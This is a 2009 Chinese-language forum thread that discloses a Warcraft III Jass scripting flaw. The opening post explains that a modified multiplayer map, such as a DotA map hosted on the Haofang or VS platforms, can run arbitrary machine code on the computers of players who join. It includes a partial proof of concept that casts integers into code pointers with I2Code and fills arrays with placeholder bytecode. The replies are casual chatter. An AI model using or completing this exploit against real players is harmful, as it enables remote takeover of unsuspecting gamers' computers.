各大游戏高危漏洞(魔兽争霸、反恐精英) by ring04h

显示全部楼层 · 发表于 2009-8-25 00:13:49

War3 Jass虚拟机经测试，存在严重漏洞！允许运行时动态创建并执行任意机器码
Jass属于War3为地图开发者提供的一套脚本语言，方便开发者开发或建立修改属于自己的地图。
经过推断，CS (cstrike)可能也存在此类问题。

利用方式：登陆浩方或者VS对战平台，修改某张地图(例如DOTA的地图)，开启游戏，等待其他玩家进入，开始游戏，即可执行任意机器码，控制玩家计算机。

Jass语言的用处
Jass(正确地说是Jass2)是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位(Unit), 设置的触发(Trigger)等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用.
POC:
set bj_meleeTwinkedHeroes[1024] = 0x90909090
set bj_meleeTwinkedHeroes[1025] = 0x90909090 //and other bytecode giberish.
...

local code C = I2Code( code2I(function GetRandomDirectionDeg) + 0xC92D8 )

call TriggerAddAction(t, C)
call TriggerExecute(t)

//It will run whatever bytecode 90 90 90 90 means
function main takes nothing returns nothing
set t = CreateTrigger()
call TriggerAddAction(t, i2code(0x00929217) )
a[0]=0x45623512
a[1]=0x34562323
a[2]=0x62329301
...
//other thousand lines of this
...
b[0]=0x12312333
endfunction

显示全部楼层 · 发表于 2009-8-25 00:18:18

请LZ上代码。。要不。。请发到安全资讯区去。。

显示全部楼层 · 发表于 2009-8-25 00:21:50

不过这病毒倒是很有意思，到时候我来试试看

显示全部楼层 · 发表于 2009-8-25 00:30:27

不过这玩意儿在8月9号就发出来了。。

显示全部楼层 · 发表于 2009-8-25 00:45:50

真有漏洞，我都不玩游戏了！Orz

显示全部楼层 · 发表于 2009-8-25 07:17:17

跑跑呢？[:27:]

显示全部楼层 · 发表于 2009-8-25 09:35:03

没看到我们公司的

显示全部楼层 · 发表于 2009-8-25 09:39:46

来Bin吧

[病毒样本] 各大游戏高危漏洞(魔兽争霸、反恐精英) by ring04h

本帖子中包含更多资源

回复 1楼 12548777 的帖子